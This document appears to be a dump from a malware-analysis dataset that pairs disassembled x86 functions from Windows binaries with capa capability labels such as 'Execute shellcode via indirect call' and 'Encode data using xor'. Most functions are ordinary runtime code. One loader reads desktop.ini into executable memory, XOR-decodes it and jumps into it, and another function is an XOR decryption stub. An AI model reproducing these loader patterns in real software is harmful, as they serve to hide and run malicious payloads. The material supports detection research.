joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4cf4ce
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4dab90
push 0x4d0414
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push 0x1c
lea eax, [ebp - 0x34]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
and dword [ebp - 4], 0
mov ecx, dword [ebp - 0x30]
mov dword [ebp - 0x38], ecx
cmp word [ecx], 0x5a4d
jne 0x4cf554
mov eax, dword [ecx + 0x3c]
add eax, ecx
mov dword [ebp - 0x3c], eax
cmp dword [eax], 0x4550
je 0x4cf52c
xor al, al
or dword [ebp - 4], 0xffffffff
jmp 0x4cf55a
mov edx, dword [eax + 0xd8]
lea esi, [edx + ecx]
cmp dword [ebp + 0xc], esi
jb 0x4cf524
mov eax, dword [eax + 0xdc]
add eax, edx
add eax, ecx
cmp dword [ebp + 0xc], eax
jae 0x4cf524
mov al, 1
jmp 0x4cf526
or dword [ebp - 4], 0xffffffff
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4cf5b9
Capabilities:
Allocate or change rwx memory

Disassembly:
push ecx
push esi
mov esi, dword [0x5e1400]
test esi, esi
je 0x4cf5dd
lea eax, [esp + 4]
push eax
push 0x40
push 0x10000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, dword [esi + 4]
jmp 0x4cf5c1
pop esi
pop ecx
ret

Function at 0x4cf5e0
Capabilities:
Resume thread

Disassembly:
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [0x5e140c], eax
je 0x4cf5f6
mov eax, 0x10dd
pop ecx
ret
push ebx
push esi
mov esi, dword [0x5e141c]
xor ebx, ebx
cmp esi, ebx
push edi
je 0x4cf643
lea eax, [esp + 0xc]
push eax
mov eax, dword [esi + 0x10]
push dword [esi + 0x14]
movzx eax, byte [eax + 0x17]
push eax
push dword [esi + 0xc]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp dword [esi + 4], ebx
jne 0x4cf634
mov eax, dword [esi + 0x10]
cmp eax, ebx
je 0x4cf634
push eax
call fcn.004cf6aa
pop ecx
mov dword [esi + 0x10], ebx
mov edi, dword [esi]
push esi
call fcn.004d0379
cmp edi, ebx
pop ecx
mov esi, edi
jne 0x4cf605
mov dword [0x5e141c], ebx
call fcn.004cf683
mov esi, dword [0x5e1418]
cmp esi, ebx
je 0x4cf670
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov edi, dword [esi]
push esi
call fcn.004d0379
cmp edi, ebx
pop ecx
mov esi, edi
jne 0x4cf658
pop edi
mov dword [0x5e1418], ebx
mov dword [0x5e140c], ebx
pop esi
xor eax, eax
pop ebx
pop ecx
ret
Function at 0x4cf92d
Capabilities:
Suspend thread

Disassembly:
mov eax, dword [0x5e1410]
push esi
test eax, eax
push edi
jne 0x4cf997
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov edi, dword [esp + 0xc]
cmp edi, eax
je 0x4cf995
push 8
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov esi, eax
pop ecx
test esi, esi
jne 0x4cf959
push 8
pop edi
jmp 0x4cf974
push edi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
jne 0x4cf985
call dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
mov edi, eax
call fcn.004d0379
pop ecx
and dword [0x5e1414], 0
mov dword [0x5e1410], edi
mov eax, edi
jmp 0x4cf997
mov dword [esi + 4], edi
mov eax, dword [0x5e1418]
mov dword [esi], eax
mov dword [0x5e1418], esi
xor eax, eax
pop edi
pop esi
ret 4
Function at 0x4cfc54
Capabilities:
Allocate or change rwx memory
Hook routines via microsoft detours

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
cmp esi, 0x7ff80000
mov ebx, 0x10000
jbe 0x4cfc78
lea eax, [esi - 0x7ff80000]
mov dword [ebp + 8], eax
jmp 0x4cfc7b
mov dword [ebp + 8], ebx
cmp esi, 0x80000000
jae 0x4cfc8e
lea eax, [esi + 0x7ff80000]
mov dword [ebp - 4], eax
jmp 0x4cfc95
mov dword [ebp - 4], 0xfff80000
mov eax, dword [0x5e1404]
mov ecx, dword [0x5e1400]
test eax, eax
jne 0x4cfcaf
test ecx, ecx
je 0x4cfcc4
mov eax, ecx
mov dword [0x5e1404], eax
mov edx, dword [eax + 8]
test edx, edx
je 0x4cfcc4
cmp edx, dword [ebp + 8]
jb 0x4cfcc4
cmp edx, dword [ebp - 4]
jbe 0x4cfe1d
mov eax, ecx
test ecx, ecx
mov dword [0x5e1404], eax
je 0x4cfcf4
test eax, eax
je 0x4cfce8
mov ecx, dword [eax + 8]
test ecx, ecx
je 0x4cfce8
cmp ecx, dword [ebp + 8]
jb 0x4cfce8
cmp ecx, dword [ebp - 4]
jbe 0x4cfe1d
mov eax, dword [eax + 4]
test eax, eax
mov dword [0x5e1404], eax
jne 0x4cfcd3
mov eax, esi
and eax, 0xffff
sub esi, eax
cmp esi, dword [ebp + 8]
mov edi, esi
jbe 0x4cfd5c
cmp edi, 0x70000000
jb 0x4cfd19
cmp edi, 0x80000000
ja 0x4cfd19
mov edi, 0x6fff0000
lea eax, [ebp - 0x20]
push 0x1c
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x4cfd5c
cmp dword [ebp - 0x10], ebx
jne 0x4cfd34
cmp dword [ebp - 0x14], ebx
jae 0x4cfd44
mov eax, dword [ebp - 0x1c]
lea edi, [eax - 0x10000]
cmp edi, dword [ebp + 8]
ja 0x4cfd04
jmp 0x4cfd5c
push 0x40
push 0x3000
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
mov dword [0x5e1404], eax
jne 0x4cfdd3
cmp esi, dword [ebp - 4]
jae 0x4cfe44
cmp esi, 0x70000000
jb 0x4cfd7a
cmp esi, 0x80000000
ja 0x4cfd7a
mov esi, 0x80010000
lea eax, [ebp - 0x20]
push 0x1c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x4cfe44
cmp dword [ebp - 0x10], ebx
jne 0x4cfdc8
cmp dword [ebp - 0x14], ebx
jb 0x4cfdc8
mov ecx, esi
and ecx, 0xffff
je 0x4cfdb0
mov eax, ebx
sub eax, ecx
sub dword [ebp - 0x14], eax
add dword [ebp - 0x20], eax
mov esi, dword [ebp - 0x20]
push 0x40
push 0x3000
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
mov dword [0x5e1404], eax
jne 0x4cfdd3
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x14]
lea esi, [eax + ecx]
jmp 0x4cfd5c
mov dword [eax], 0x52727464
mov eax, dword [0x5e1404]
xor ecx, ecx
mov dword [eax + 8], ecx
mov eax, dword [0x5e1404]
mov edx, dword [0x5e1400]
mov dword [eax + 4], edx
mov eax, dword [0x5e1404]
mov dword [0x5e1400], eax
add eax, 0xffe0
mov edx, 0x7fd
mov dword [eax + 0x18], ecx
mov ecx, eax
sub eax, 0x20
dec edx
jne 0x4cfe05
mov eax, dword [0x5e1404]
mov dword [eax + 8], ecx
mov eax, dword [0x5e1404]
mov esi, dword [eax + 8]
cmp esi, dword [ebp + 8]
jb 0x4cfe44
cmp esi, dword [ebp - 4]
ja 0x4cfe44
mov ecx, dword [esi + 0x18]
push 0x20
push 0xcc
push esi
mov dword [eax + 8], ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov eax, esi
jmp 0x4cfe46
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4cfe4b
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4daba0
push 0x4d0414
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push 0x1c
lea eax, [ebp - 0x38]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x4cfec0
and dword [ebp - 4], 0
mov ecx, dword [ebp - 0x34]
cmp word [ecx], 0x5a4d
jne 0x4cfebc
mov eax, dword [ecx + 0x3c]
add eax, ecx
mov dword [ebp - 0x3c], eax
cmp dword [eax], 0x4550
jne 0x4cfebc
cmp word [eax + 0x14], 0
jne 0x4cfeb1
xor eax, eax
or dword [ebp - 4], 0xffffffff
jmp 0x4cfec2
mov eax, ecx
jmp 0x4cfeab
or dword [ebp - 4], 0xffffffff
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10

Function at 0xe544f8
Capabilities:
Encode data using xor

Disassembly:
jmp 0xe54502
pushal
call 0xe54508
pop ebp
sub ebp, 0x10
sub ebp, 0xa544f8
jmp 0xe5451e
mov eax, 0xa544f8
add eax, ebp
add eax, 0x4c
mov ecx, 0x5e7
mov edx, 0x66df16a9
xor byte [eax], dl
inc eax
dec ecx
jne 0xe54535
jmp 0xe54548
and ah, byte [edx + 0x20]
xchg ebp, eax
test eax, 0x6828a9a9
push ecx
test eax, 0x64aaa9a9
adc dword [edi + 0x13a9a9a9], ebp
sub dword [ecx + 0x4b5ea9a9], 0x282261aa
movsd dword es:[edi], dword [esi]
test eax, 0x6caaa9a9
and al, 0xcd
lea edx, [ebp + 0x20]
lodsd eax, dword [esi]
invalid
Function at 0x100036d0
Capabilities:
Accept command line arguments

Disassembly:
mov eax, dword [esp + 8]
cmp eax, 1
jne 0x10003794
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x10051768], eax
call fcn.10008d00
test eax, eax
jne 0x100036f4
ret 0xc
mov ecx, dword [0x10051768]
xor edx, edx
mov eax, ecx
mov dl, ch
and eax, 0xff
mov dword [0x10051774], edx
mov dword [0x10051770], eax
shl eax, 8
add eax, edx
shr ecx, 0x10
mov dword [0x1005176c], eax
mov dword [0x10051768], ecx
call fcn.10008590
test eax, eax
jne 0x10003736
call fcn.10008d40
xor eax, eax
ret 0xc
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [0x1005323c], eax
call fcn.10009fe0
mov ecx, dword [0x1005323c]
mov dword [0x10051754], eax
test ecx, ecx
je 0x10003785
test eax, eax
je 0x10003785
call fcn.100097d0
call fcn.10005690
call fcn.10009b30
call fcn.10009a40
call fcn.10004dc0
mov eax, dword [0x10051750]
inc eax
mov dword [0x10051750], eax
mov eax, 1
ret 0xc
call fcn.100085f0
call fcn.10008d40
xor eax, eax
ret 0xc
test eax, eax
jne 0x100037d4
mov eax, dword [0x10051750]
test eax, eax
jle 0x100037cf
mov ecx, eax
mov eax, dword [0x100517a0]
dec ecx
test eax, eax
mov dword [0x10051750], ecx
jne 0x100037b8
call fcn.10004e30
call fcn.100099e0
call fcn.100085f0
call fcn.10008d40
mov eax, 1
ret 0xc
xor eax, eax
ret 0xc
cmp eax, 3
jne 0x100037e3
push 0
call fcn.100086c0
add esp, 4
mov eax, 1
ret 0xc

Function at 0x10004a30
Capabilities:
Create thread

Disassembly:
push esi
push edi
push 0x74
push 1
xor edi, edi
call fcn.1000b0e0
mov esi, eax
add esp, 8
test esi, esi
je 0x10004a90
push esi
call fcn.10008620
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x24]
mov ecx, dword [esp + 0x1c]
add esp, 4
mov dword [esi + 0x48], eax
mov eax, dword [esp + 0x1c]
push edx
mov edx, dword [esp + 0x10]
mov dword [esi + 0x4c], ecx
mov ecx, dword [esp + 0x14]
push eax
push esi
push 0x10004ab0
push ecx
push edx
mov dword [esi + 4], 0xffffffff
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
jne 0x10004aa8
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
push esi
call fcn.10003250
add esp, 4
test edi, edi
je 0x10004aa6
push edi
call fcn.100056a0
add esp, 4
xor eax, eax
pop edi
pop esi
ret

Function at 0x10004e50
Capabilities:
Terminate process

Disassembly:
push ebx
push ebp
push esi
call fcn.10004f10
mov eax, dword [0x100517a4]
mov ebp, dword [esp + 0x10]
cmp eax, 1
jne 0x10004e74
push ebp
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, dword [esp + 0x14]
mov ebx, dword [esp + 0x18]
test eax, eax
mov dword [0x100517a0], 1
mov byte [0x1005179c], bl
jne 0x10004ece
mov ecx, dword [0x10053220]
test ecx, ecx
je 0x10004ebc
mov esi, dword [0x10053210]
sub esi, 4
cmp esi, ecx
jb 0x10004ebc
mov eax, dword [esi]
test eax, eax
je 0x10004eb5
call eax
mov ecx, dword [0x10053220]
sub esi, 4
cmp esi, ecx
jae 0x10004ea7
push 0x1004ab9c
push 0x1004a994
call fcn.10004f30
add esp, 8
push 0x1004aea8
push 0x1004aca0
call fcn.10004f30
add esp, 8
test ebx, ebx
je 0x10004eed
call fcn.10004f20
pop esi
pop ebp
pop ebx
ret
push ebp
mov dword [0x100517a4], 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x10008590
Capabilities:
Allocate thread local storage
Set thread local storage value

Disassembly:
push esi
call fcn.100088d0
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
mov dword [0x1004b960], eax
je 0x100085e8
push 0x74
push 1
call fcn.1000b0e0
mov esi, eax
add esp, 8
test esi, esi
je 0x100085e8
mov eax, dword [0x1004b960]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x100085e8
push esi
call fcn.10008620
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [esi], eax
mov dword [esi + 4], 0xffffffff
mov eax, 1
pop esi
ret
xor eax, eax
pop esi
ret

Function at 0x10008640
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov eax, dword [0x1004b960]
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov esi, eax
test esi, esi
jne 0x100086ae
push 0x74
push 1
call fcn.1000b0e0
mov esi, eax
add esp, 8
test esi, esi
je 0x100086a4
mov ecx, dword [0x1004b960]
push esi
push ecx
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x100086a4
push esi
call fcn.10008620
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push edi
mov dword [esi], eax
mov dword [esi + 4], 0xffffffff
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, esi
pop edi
pop esi
ret
push 0x10
call fcn.100038a0
add esp, 4
push edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, esi
pop edi
pop esi
ret

Function at 0x100086c0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
mov eax, dword [0x1004b960]
cmp eax, 0xffffffff
je 0x1000876f
push esi
mov esi, dword [esp + 8]
test esi, esi
jne 0x100086e4
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov esi, eax
test esi, esi
je 0x10008760
mov eax, dword [esi + 0x24]
test eax, eax
je 0x100086f4
push eax
call fcn.10003250
add esp, 4
mov eax, dword [esi + 0x28]
test eax, eax
je 0x10008704
push eax
call fcn.10003250
add esp, 4
mov eax, dword [esi + 0x30]
test eax, eax
je 0x10008714
push eax
call fcn.10003250
add esp, 4
mov eax, dword [esi + 0x38]
test eax, eax
je 0x10008724
push eax
call fcn.10003250
add esp, 4
mov eax, dword [esi + 0x40]
test eax, eax
je 0x10008734
push eax
call fcn.10003250
add esp, 4
mov eax, dword [esi + 0x44]
test eax, eax
je 0x10008744
push eax
call fcn.10003250
add esp, 4
mov eax, dword [esi + 0x50]
cmp eax, 0x1004dfb0
je 0x10008757
push eax
call fcn.10003250
add esp, 4
push esi
call fcn.10003250
add esp, 4
mov eax, dword [0x1004b960]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
pop esi
ret
Function at 0x10009fe0
Capabilities:
Query environment variable

Disassembly:
mov eax, dword [0x10051b90]
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
push esi
xor esi, esi
xor ebx, ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
test eax, eax
jne 0x1000a022
call edi
mov esi, eax
test esi, esi
je 0x1000a00c
mov eax, 1
jmp 0x1000a01d
call ebp
mov ebx, eax
test ebx, ebx
je 0x1000a12f
mov eax, 2
mov dword [0x10051b90], eax
cmp eax, 1
jne 0x1000a0c2
test esi, esi
jne 0x1000a03b
call edi
mov esi, eax
test esi, esi
je 0x1000a12f
cmp word [esi], 0
mov eax, esi
je 0x1000a055
add eax, 2
cmp word [eax], 0
jne 0x1000a043
add eax, 2
cmp word [eax], 0
jne 0x1000a043
sub eax, esi
push 0
sar eax, 1
inc eax
push 0
mov ebp, eax
push 0
push 0
push ebp
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edi, eax
test edi, edi
je 0x1000a0b4
push edi
call fcn.10003600
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x1000a0b4
push 0
push 0
push edi
push ebx
push ebp
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
jne 0x1000a0a6
push ebx
call fcn.10003250
add esp, 4
xor ebx, ebx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
ret
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
ret
cmp eax, 2
jne 0x1000a12f
test ebx, ebx
jne 0x1000a0d3
call ebp
mov ebx, eax
test ebx, ebx
je 0x1000a12f
mov cl, byte [ebx]
mov eax, ebx
test cl, cl
je 0x1000a0eb
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1000a0db
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1000a0db
sub eax, ebx
inc eax
mov esi, eax
push esi
call fcn.10003600
mov ebp, eax
add esp, 4
test ebp, ebp
jne 0x1000a10d
push ebx
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
ret
mov ecx, esi
mov esi, ebx
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
mov eax, ebp
pop edi
pop esi
pop ebp
pop ebx
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
Function at 0x1000a180
Capabilities:
Write file on windows

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0x1a8
mov eax, 0x1004dd00
push ebx
push ebp
push esi
push edi
xor ebp, ebp
cmp ecx, dword [eax]
je 0x1000a1a4
add eax, 8
inc ebp
cmp eax, 0x1004dd90
jb 0x1000a195
cmp ecx, dword [ebp*8 + 0x1004dd00]
jne 0x1000a34b
mov eax, dword [0x1005175c]
cmp eax, 1
je 0x1000a30d
test eax, eax
jne 0x1000a1d0
cmp dword [0x10051760], 1
je 0x1000a30d
cmp ecx, 0xfc
je 0x1000a34b
lea eax, [esp + 0xb4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x1000a20b
mov ecx, 5
mov esi, str._program_name_unknown_
lea edi, [esp + 0xb4]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [esp + 0xb4]
or ecx, 0xffffffff
xor eax, eax
lea ebx, [esp + 0xb4]
repne scasb al, byte es:[edi]
not ecx
cmp ecx, 0x3c
jbe 0x1000a254
lea edi, [esp + 0xb4]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 3
mov ebx, ecx
lea ecx, [esp + 0xb8]
sub ecx, 0x3b
push 0x10045124
add ebx, ecx
push ebx
call fcn.1000d0a0
add esp, 0xc
mov ecx, 6
mov esi, str.Runtime_Error__n_nProgram:
lea edi, [esp + 0x14]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
or ecx, 0xffffffff
mov edi, ebx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x14]
mov ebx, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x14]
and ecx, 3
push 0x12010
rep movsb byte es:[edi], byte [esi]
mov edi, 0x10045104
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push str.Microsoft_Visual_C_Runtime_Library
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x1c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebp*8 + 0x1004dd04]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x1c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.1000d010
add esp, 0xc
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1a8
ret
mov eax, dword [0x10051d60]
test eax, eax
je 0x1000a31e
mov esi, dword [eax + 0x48]
cmp esi, 0xffffffff
jne 0x1000a328
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov esi, eax
mov edx, dword [ebp*8 + 0x1004dd04]
lea ecx, [esp + 0x10]
push 0
push ecx
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1a8
ret
Function at 0x1000c8b0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x41c
push ebx
mov ebx, dword [esp + 0x42c]
push ebp
xor ebp, ebp
push esi
cmp ebx, ebp
push edi
mov dword [esp + 0x10], ebp
mov dword [esp + 0x20], ebp
jne 0x1000c8dc
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x41c
ret
mov ecx, dword [esp + 0x430]
mov eax, ecx
sar eax, 5
lea edi, [eax*4 + 0x10051d60]
mov eax, ecx
and eax, 0x1f
mov dword [esp + 0x24], edi
mov edx, dword [edi]
lea esi, [eax + eax*8]
shl esi, 2
mov dword [esp + 0x14], esi
test byte [esi + edx + 4], 0x20
je 0x1000c917
push 2
push ebp
push ecx
call fcn.1000c7b0
add esp, 0xc
mov eax, dword [edi]
add eax, esi
test byte [eax + 4], 0x80
je 0x1000ca79
mov ebp, dword [esp + 0x434]
mov dword [esp + 0x18], 0
test ebx, ebx
mov edi, ebp
jbe 0x1000c9c1
lea eax, [esp + 0x28]
mov ecx, edi
sub ecx, ebp
cmp ecx, ebx
jae 0x1000c972
mov cl, byte [edi]
inc edi
cmp cl, 0xa
jne 0x1000c95f
mov esi, dword [esp + 0x20]
mov byte [eax], 0xd
inc esi
inc eax
mov dword [esp + 0x20], esi
mov byte [eax], cl
inc eax
mov edx, eax
lea ecx, [esp + 0x28]
sub edx, ecx
cmp edx, 0x400
jl 0x1000c942
mov esi, eax
lea edx, [esp + 0x28]
lea eax, [esp + 0x1c]
sub esi, edx
mov edx, dword [esp + 0x24]
push 0
push eax
lea ecx, [esp + 0x30]
mov eax, dword [edx]
push esi
push ecx
mov ecx, dword [esp + 0x24]
mov edx, dword [ecx + eax]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1000ca6a
mov eax, dword [esp + 0x1c]
mov edx, dword [esp + 0x10]
add edx, eax
cmp eax, esi
mov dword [esp + 0x10], edx
jl 0x1000c9bd
mov eax, edi
sub eax, ebp
cmp eax, ebx
jb 0x1000c93e
mov esi, dword [esp + 0x14]
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x1000ca59
mov eax, dword [esp + 0x18]
test eax, eax
je 0x1000ca15
cmp eax, 5
jne 0x1000c9fe
call fcn.10005720
mov dword [eax], 9
call fcn.10005730
mov dword [eax], 5
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x41c
ret
push eax
call fcn.100056a0
add esp, 4
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x41c
ret
mov ecx, dword [esp + 0x24]
mov edx, dword [ecx]
test byte [esi + edx + 4], 0x40
je 0x1000ca35
cmp byte [ebp], 0x1a
jne 0x1000ca35
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x41c
ret
call fcn.10005720
mov dword [eax], 0x1c
call fcn.10005730
mov dword [eax], 0
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x41c
ret
mov ecx, dword [esp + 0x20]
pop edi
pop esi
pop ebp
sub eax, ecx
pop ebx
add esp, 0x41c
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp + 0x18], eax
jmp 0x1000c9bd
mov edx, dword [eax]
lea ecx, [esp + 0x1c]
push ebp
mov ebp, dword [esp + 0x438]
push ecx
push ebx
push ebp
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1000caaa
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x18], 0
mov dword [esp + 0x10], eax
jmp 0x1000c9c1
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp + 0x18], eax
jmp 0x1000c9c1